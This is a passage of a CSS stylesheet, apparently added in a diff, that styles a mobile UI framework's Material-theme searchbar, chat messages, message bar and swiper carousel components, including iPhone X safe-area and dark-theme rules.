url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); + border-radius: 0; + background-repeat: no-repeat; + background-position: center; + background-size: 24px 24px; + background-color: transparent; + left: 0; +} +.md .searchbar .input-clear-button:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .searchbar .input-clear-button.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .searchbar .input-clear-button:after { + display: none; +} +.md .searchbar .input-clear-button:before { + margin-left: 0; + margin-top: 0; +} +.md .page-content .searchbar { + border-radius: 2px; + margin: 8px; + width: auto; + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); +} +.md .page-content .searchbar .searchbar-inner { + border-radius: 2px; +} +.md .page > .searchbar { + z-index: 510; +} +.md .page > .searchbar:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + top: 100%; + bottom: auto; + height: 10px; + pointer-events: none; + background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .page > .searchbar.no-shadow:after { + display: none; +} +.md .page > .searchbar input[type="search"], +.md .subnavbar .searchbar input[type="search"], +.md .searchbar-expandable input[type="search"], +.md .page > .searchbar input[type="text"], +.md .subnavbar .searchbar input[type="text"], +.md .searchbar-expandable input[type="text"] { + padding-right: 73px; +} +.md .page > .searchbar .searchbar-icon, +.md .subnavbar .searchbar .searchbar-icon, +.md .searchbar-expandable .searchbar-icon, +.md .page > .searchbar .searchbar-disable-button, +.md .subnavbar .searchbar .searchbar-disable-button, +.md .searchbar-expandable .searchbar-disable-button { + right: 4px; +} +.md .searchbar-expandable { + width: 56px; + height: 100%; + opacity: 0; + top: 50%; + margin-top: -28px; + -webkit-transform: translate3d(0px, 0px, 0px); + transform: translate3d(0px, 0px, 0px); + right: 100%; + margin-right: -56px; +} +.md .navbar .searchbar-expandable { + border-radius: 28px; + width: 56px; + margin-top: -28px; + margin-right: -56px; +} +@media (min-width: 768px) { + .md .navbar .searchbar-expandable { + border-radius: 32px; + width: 64px; + margin-top: -32px; + margin-right: -64px; + } +} +.md .toolbar .searchbar-expandable, +.md .subnavbar .searchbar-expandable { + border-radius: 24px; + width: 48px; + margin-top: -24px; + margin-right: -56px; +} +.md .tabbar-labels .searchbar-expandable { + border-radius: 36px; + width: 72px; + margin-top: -36px; + margin-right: -72px; +} +.md .searchbar-expandable.searchbar-enabled { + width: 100%; + border-radius: 0; + opacity: 1; + pointer-events: auto; + top: 0; + margin-top: 0; + right: 0; + margin-right: 0; +} +.md .page > .searchbar ~ * .page-content, +.md .page > .searchbar ~ .page-content { + padding-top: 48px; +} +.md .page > .navbar ~ .searchbar { + top: 56px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .searchbar { + top: 64px; + } +} +.md .page > .navbar ~ .searchbar ~ * .page-content, +.md .page > .navbar ~ .searchbar ~ .page-content { + padding-top: 104px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .searchbar ~ * .page-content, + .md .page > .navbar ~ .searchbar ~ .page-content { + padding-top: 112px; + } +} +.md .page > .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar { + top: 48px; +} +.md .page > .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ * .page-content, +.md .page > .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ .page-content { + padding-top: 96px; +} +.md .page > .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar { + top: 72px; +} +.md .page > .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ * .page-content, +.md .page > .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ .page-content { + padding-top: 120px; +} +.md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar { + top: 104px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar { + top: 112px; + } +} +.md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ * .page-content, +.md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ .page-content { + padding-top: 152px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ * .page-content, + .md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ .page-content { + padding-top: 160px; + } +} +.md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar { + top: 128px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar { + top: 136px; + } +} +.md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ * .page-content, +.md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ .page-content { + padding-top: 176px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ * .page-content, + .md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ .page-content { + padding-top: 184px; + } +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .searchbar-inner, + .md.device-iphone-x .ios-edges .searchbar-inner, + .md.device-iphone-x .popup .searchbar-inner, + .md.device-iphone-x .sheet-modal .searchbar-inner, + .md.device-iphone-x .panel-left .searchbar-inner { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-right-edge .searchbar-inner, + .md.device-iphone-x .ios-edges .searchbar-inner, + .md.device-iphone-x .popup .searchbar-inner, + .md.device-iphone-x .sheet-modal .searchbar-inner, + .md.device-iphone-x .panel-right .searchbar-inner { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + } + .md.device-iphone-x .ios-right-edge .searchbar-disable-button, + .md.device-iphone-x .ios-edges .searchbar-disable-button, + .md.device-iphone-x .popup .searchbar-disable-button, + .md.device-iphone-x .sheet-modal .searchbar-disable-button, + .md.device-iphone-x .panel-right .searchbar-disable-button { + right: calc(4px + constant(safe-area-inset-right)); + right: calc(4px + env(safe-area-inset-right)); + } +} +/* === Messages === */ +.messages { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + min-height: 100%; + position: relative; + z-index: 1; +} +.messages-title { + text-align: center; + width: 100%; + line-height: 1; +} +.message { + max-width: 70%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: end; + -webkit-align-items: flex-end; + -ms-flex-align: end; + align-items: flex-end; + position: relative; + z-index: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.message-avatar { + border-radius: 50%; + position: relative; + background-size: cover; + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.message-content { + position: relative; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.message-header, +.message-footer, +.message-name { + line-height: 1; + font-size: 12px; +} +.message-footer { + font-size: 11px; + margin-bottom: -1em; +} +.message-bubble { + -webkit-box-sizing: border-box; + box-sizing: border-box; + word-break: break-word; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + position: relative; + line-height: 1.2; +} +.message-image img { + display: block; + max-width: 100%; + height: auto; + width: auto; +} +.message-text-header, +.message-text-footer { + font-size: 12px; + line-height: 1; +} +.message-text { + text-align: left; +} +.message-sent { + text-align: right; + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -webkit-flex-direction: row; + -ms-flex-direction: row; + flex-direction: row; + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; +} +.message-received { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; +} +.message-received .message-content { + -webkit-box-align: end; + -webkit-align-items: flex-end; + -ms-flex-align: end; + align-items: flex-end; +} +.message-sent .message-content { + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; +} +.message:not(.message-last) .message-avatar { + opacity: 0; +} +.message:not(.message-first) .message-name { + display: none; +} +.message.message-same-name .message-name { + display: none; +} +.message.message-same-header .message-header { + display: none; +} +.message.message-same-footer .message-footer { + display: none; +} +.message-appear-from-bottom { + -webkit-animation: message-appear-from-bottom 300ms; + animation: message-appear-from-bottom 300ms; +} +.message-appear-from-top { + -webkit-animation: message-appear-from-top 300ms; + animation: message-appear-from-top 300ms; +} +.message-typing-indicator { + display: inline-block; + font-size: 0; + vertical-align: middle; +} +.message-typing-indicator > div { + display: inline-block; + position: relative; + background: #000; + vertical-align: middle; + border-radius: 50%; +} +@-webkit-keyframes message-appear-from-bottom { + from { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +@keyframes message-appear-from-bottom { + from { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +@-webkit-keyframes message-appear-from-top { + from { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +@keyframes message-appear-from-top { + from { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +.md .messages-content, +.md .messages { + background: #eee; +} +.md .message { + margin-top: 16px; +} +.md .message:last-child { + margin-bottom: 16px; +} +.md .messages-title { + font-size: 12px; + color: rgba(0, 0, 0, 0.51); + margin-top: 16px; +} +.md .messages-title:last-child { + margin-bottom: 16px; +} +.md .messages-title b { + font-weight: 500; +} +.md .message-avatar { + width: 32px; + height: 32px; +} +.md .message-header, +.md .message-footer, +.md .message-name { + color: rgba(0, 0, 0, 0.51); +} +.md .message-header b, +.md .message-footer b, +.md .message-name b { + font-weight: 500; +} +.md .message-header, +.md .message-name { + margin-bottom: 2px; +} +.md .message-footer { + margin-top: 2px; +} +.md .message-bubble { + font-size: 16px; + border-radius: 2px; + padding: 6px 8px; + min-height: 32px; +} +.md .message-text-header, +.md .message-text-footer { + color: rgba(0, 0, 0, 0.51); +} +.md .message-text-header { + margin-bottom: 4px; +} +.md .message-text-footer { + margin-top: 4px; +} +.md .message-received { + margin-left: 8px; +} +.md .message-received .message-bubble { + color: #333; + background: #fff; +} +.md .message-received .message-avatar + .message-content { + margin-left: 8px; +} +.md .message-received.message-tail .message-bubble { + border-radius: 2px 2px 2px 0; +} +.md .message-received.message-tail .message-bubble:before { + position: absolute; + content: ''; + border-left: 8px solid transparent; + border-right: 0 solid transparent; + border-bottom: 8px solid #fff; + right: 100%; + bottom: 0; + width: 0; + height: 0; +} +.md .message-sent { + margin-right: 8px; +} +.md .message-sent .message-bubble { + color: #333; + background: #c8e6c9; +} +.md .message-sent .message-avatar + .message-content { + margin-right: 8px; +} +.md .message-sent.message-tail .message-bubble { + border-radius: 2px 2px 0 2px; +} +.md .message-sent.message-tail .message-bubble:before { + position: absolute; + content: ''; + border-right: 8px solid transparent; + border-left: 0 solid transparent; + border-bottom: 8px solid #c8e6c9; + left: 100%; + bottom: 0; + width: 0; + height: 0; +} +.md .message + .message:not(.message-first) { + margin-top: 8px; +} +.md .message-typing-indicator > div { + width: 6px; + height: 6px; + opacity: 0.6; +} +.md .message-typing-indicator > div + div { + margin-right: 6px; +} +.md .message-typing-indicator > div:nth-child(1) { + -webkit-animation: md-message-typing-indicator 900ms infinite; + animation: md-message-typing-indicator 900ms infinite; +} +.md .message-typing-indicator > div:nth-child(2) { + -webkit-animation: md-message-typing-indicator 900ms 150ms infinite; + animation: md-message-typing-indicator 900ms 150ms infinite; +} +.md .message-typing-indicator > div:nth-child(3) { + -webkit-animation: md-message-typing-indicator 900ms 300ms infinite; + animation: md-message-typing-indicator 900ms 300ms infinite; +} +.md .theme-dark .messages-content, +.messages-content.md .theme-dark, +.md .theme-dark .messages, +.messages.md .theme-dark { + background-color: transparent; +} +.md .theme-dark .messages-title { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .message-header, +.md .theme-dark .message-footer, +.md .theme-dark .message-name { + color: rgba(255, 255, 255, 0.54); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .message-received, + .md.device-iphone-x .ios-edges .message-received, + .md.device-iphone-x .popup .message-received, + .md.device-iphone-x .sheet-modal .message-received, + .md.device-iphone-x .panel-left .message-received { + margin-left: calc(8px + constant(safe-area-inset-left)); + margin-left: calc(8px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .message-sent, + .md.device-iphone-x .ios-edges .message-sent, + .md.device-iphone-x .popup .message-sent, + .md.device-iphone-x .sheet-modal .message-sent, + .md.device-iphone-x .panel-right .message-sent { + margin-right: calc(8px + constant(safe-area-inset-right)); + margin-right: calc(8px + env(safe-area-inset-right)); + } +} +@-webkit-keyframes md-message-typing-indicator { + 0% { + -webkit-transform: translateY(0%); + transform: translateY(0%); + } + 25% { + -webkit-transform: translateY(-5px); + transform: translateY(-5px); + } + 50% { + -webkit-transform: translateY(0%); + transform: translateY(0%); + } +} +@keyframes md-message-typing-indicator { + 0% { + -webkit-transform: translateY(0%); + transform: translateY(0%); + } + 25% { + -webkit-transform: translateY(-5px); + transform: translateY(-5px); + } + 50% { + -webkit-transform: translateY(0%); + transform: translateY(0%); + } +} +/* === Messagebar === */ +.toolbar.messagebar { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + background: #fff; + height: auto; +} +.toolbar.messagebar .toolbar-inner { + position: relative; + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; +} +.toolbar.messagebar .messagebar-area { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + overflow: hidden; + position: relative; +} +.toolbar.messagebar textarea { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; +} +.toolbar.messagebar a.link { + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.messagebar-attachments { + width: 100%; + overflow: auto; + -webkit-overflow-scrolling: touch; + font-size: 0; + white-space: nowrap; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; +} +.messagebar:not(.messagebar-attachments-visible) .messagebar-attachments { + display: none; +} +.messagebar-attachment { + background-size: cover; + background-position: center; + background-repeat: no-repeat; + display: inline-block; + vertical-align: middle; + white-space: normal; + height: 155px; + position: relative; +} +@media (orientation: landscape) { + .messagebar-attachment { + height: 120px; + } +} +.messagebar-attachment img { + display: block; + width: auto; + height: 100%; +} +.messagebar-attachment + .messagebar-attachment { + margin-right: 8px; +} +.messagebar-sheet { + overflow: auto; + -webkit-overflow-scrolling: touch; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + -webkit-align-content: flex-start; + -ms-flex-line-pack: start; + align-content: flex-start; + height: 252px; +} +@media (orientation: landscape) { + .messagebar-sheet { + height: 192px; + } +} +.messagebar-sheet-image, +.messagebar-sheet-item { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + margin-top: 1px; + position: relative; + overflow: hidden; + height: 125px; + width: 125px; + margin-right: 1px; +} +@media (orientation: landscape) { + .messagebar-sheet-image, + .messagebar-sheet-item { + width: 95px; + height: 95px; + } +} +.messagebar-sheet-image .icon-checkbox, +.messagebar-sheet-item .icon-checkbox, +.messagebar-sheet-image .icon-radio, +.messagebar-sheet-item .icon-radio { + position: absolute; + right: 8px; + bottom: 8px; +} +.messagebar-sheet-image { + background-size: cover; + background-position: center; + background-repeat: no-repeat; +} +.messagebar-attachment-delete { + display: block; + position: absolute; + border-radius: 50%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + cursor: pointer; + -webkit-box-shadow: 0px 0px 2px rgba(0, 0, 0, 0.2); + box-shadow: 0px 0px 2px rgba(0, 0, 0, 0.2); +} +.messagebar-attachment-delete:after, +.messagebar-attachment-delete:before { + position: absolute; + content: ''; + left: 50%; + top: 50%; +} +.messagebar-attachment-delete:after { + -webkit-transform: rotate(45deg); + transform: rotate(45deg); +} +.messagebar-attachment-delete:before { + -webkit-transform: rotate(-45deg); + transform: rotate(-45deg); +} +.messagebar:not(.messagebar-sheet-visible) .messagebar-sheet { + display: none; +} +.ios.device-iphone-x .messagebar:not(.messagebar-top), +.md.device-iphone-x .messagebar:not(.messagebar-top) { + height: auto !important; +} +.ios.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible), +.md.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible) { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.ios.device-iphone-x .messagebar-sheet, +.md.device-iphone-x .messagebar-sheet { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.md .messagebar { + font-size: 16px; +} +.md .messagebar:after { + display: none; +} +.md .messagebar textarea { + padding: 5px 8px; + height: 32px; + color: #333; + font-size: 16px; + line-height: 22px; +} +.md .messagebar a.link { + color: #333; +} +.md .messagebar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .messagebar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .messagebar:before { + content: ''; + position: absolute; + background-color: #d1d1d1; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .messagebar:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .messagebar:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .messagebar-attachments { + padding: 8px; + border-bottom: 1px solid #ddd; +} +.md .messagebar-area { + margin-top: 8px; + margin-bottom: 8px; +} +.md .messagebar-sheet { + background: #fff; +} +.md .messagebar-sheet-image .icon-checkbox, +.md .messagebar-sheet-item .icon-checkbox { + border-color: #fff; + background: rgba(255, 255, 255, 0.25); + -webkit-box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.5); + box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.5); +} +.md .messagebar-attachment-delete { + right: 8px; + top: 8px; + width: 24px; + height: 24px; + background: #2196f3; + cursor: pointer; + border-radius: 2px; +} +.md .messagebar-attachment-delete:after, +.md .messagebar-attachment-delete:before { + width: 14px; + height: 2px; + background: #fff; + margin-left: -7px; + margin-top: -1px; +} +.md .theme-dark .messagebar, +.messagebar.md .theme-dark { + background: #000; +} +.md .theme-dark .messagebar:before, +.messagebar.md .theme-dark:before { + background-color: rgba(255, 255, 255, 0.2); +} +.md .theme-dark .messagebar a.link, +.messagebar.md .theme-dark a.link { + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark .messagebar a.link:before, +.messagebar.md .theme-dark a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .theme-dark .messagebar a.link.active-state:before, +.messagebar.md .theme-dark a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .theme-dark .messagebar textarea, +.messagebar.md .theme-dark textarea { + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark .messagebar-attachments { + border-bottom-color: rgba(255, 255, 255, 0.2); +} +/* === Swiper === */ +.swiper-container { + margin: 0 auto; + position: relative; + overflow: hidden; + list-style: none; + padding: 0; + /* Fix of Webkit flickering */ + z-index: 1; +} +.swiper-container-no-flexbox .swiper-slide { + float: left; +} +.swiper-container-vertical > .swiper-wrapper { + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.swiper-wrapper { + position: relative; + width: 100%; + height: 100%; + z-index: 1; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-box-sizing: content-box; + box-sizing: content-box; +} +.swiper-container-android .swiper-slide, +.swiper-wrapper { + -webkit-transform: translate3d(0px, 0, 0); + transform: translate3d(0px, 0, 0); +} +.swiper-container-multirow > .swiper-wrapper { + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; +} +.swiper-container-free-mode > .swiper-wrapper { + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; + margin: 0 auto; +} +.swiper-slide { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + width: 100%; + height: 100%; + position: relative; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.swiper-invisible-blank-slide { + visibility: hidden; +} +/* Auto Height */ +.swiper-container-autoheight, +.swiper-container-autoheight .swiper-slide { + height: auto; +} +.swiper-container-autoheight .swiper-wrapper { + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; + -webkit-transition-property: height, -webkit-transform; + transition-property: height, -webkit-transform; + transition-property: transform, height; + transition-property: transform, height, -webkit-transform; +} +/* 3D Effects */ +.swiper-container-3d { + -webkit-perspective: 1200px; + perspective: 1200px; +} +.swiper-container-3d .swiper-wrapper, +.swiper-container-3d .swiper-slide, +.swiper-container-3d .swiper-slide-shadow-left, +.swiper-container-3d .swiper-slide-shadow-right, +.swiper-container-3d .swiper-slide-shadow-top, +.swiper-container-3d .swiper-slide-shadow-bottom, +.swiper-container-3d .swiper-cube-shadow { + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +.swiper-container-3d .swiper-slide-shadow-left, +.swiper-container-3d .swiper-slide-shadow-right, +.swiper-container-3d .swiper-slide-shadow-top, +.swiper-container-3d .swiper-slide-shadow-bottom { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + pointer-events: none; + z-index: 10; +} +.swiper-container-3d .swiper-slide-shadow-left { + background-image: -webkit-gradient(linear, right top, left top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(right, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to left, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +.swiper-container-3d .swiper-slide-shadow-right { + background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +.swiper-container-3d .swiper-slide-shadow-top { + background-image: -webkit-gradient(linear, left bottom, left top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(bottom, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to top, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +.swiper-container-3d .swiper-slide-shadow-bottom { + background-image: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to bottom, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +/* IE10 Windows Phone 8 Fixes */ +.swiper-container-wp8-horizontal, +.swiper-container-wp8-horizontal > .swiper-wrapper { + -ms-touch-action: pan-y; + touch-action: pan-y; +} +.swiper-container-wp8-vertical, +.swiper-container-wp8-vertical > .swiper-wrapper { + -ms-touch-action: pan-x; + touch-action: pan-x; +} +/* a11y */ +.swiper-container .swiper-notification { + position: absolute; + left: 0; + top: 0; + pointer-events: none; + opacity: 0; + z-index: -1000; +} +.swiper-container-coverflow .swiper-wrapper { + /* Windows 8 IE 10 fix */ + -ms-perspective: 1200px; +} +.swiper-container-cube { + overflow: visible; +} +.swiper-container-cube .swiper-slide { + pointer-events: none; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + z-index: 1; + visibility: hidden; + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + width: 100%; + height: 100%; +} +.swiper-container-cube .swiper-slide .swiper-slide { + pointer-events: none; +} +.swiper-container-cube.swiper-container-rtl .swiper-slide { + -webkit-transform-origin: 100% 0; + transform-origin: 100% 0; +} +.swiper-container-cube .swiper-slide-active, +.swiper-container-cube .swiper-slide-active .swiper-slide-active { + pointer-events: auto; +} +.swiper-container-cube .swiper-slide-active, +.swiper-container-cube .swiper-slide-next, +.swiper-container-cube .swiper-slide-prev, +.swiper-container-cube .swiper-slide-next + .swiper-slide { + pointer-events: auto; + visibility: visible; +} +.swiper-container-cube .swiper-slide-shadow-top, +.swiper-container-cube .swiper-slide-shadow-bottom, +.swiper-container-cube .swiper-slide-shadow-left, +.swiper-container-cube .swiper-slide-shadow-right { + z-index: 0; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +.swiper-container-cube .swiper-cube-shadow { + position: absolute; + left: 0; + bottom: 0px; + width: 100%; + height: 100%; + background: #000; + opacity: 0.6; + -webkit-filter: blur(50px); + filter: blur(50px); + z-index: 0; +} +.swiper-container-fade.swiper-container-free-mode .swiper-slide { + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; +} +.swiper-container-fade .swiper-slide { + pointer-events: none; + -webkit-transition-property: opacity; + 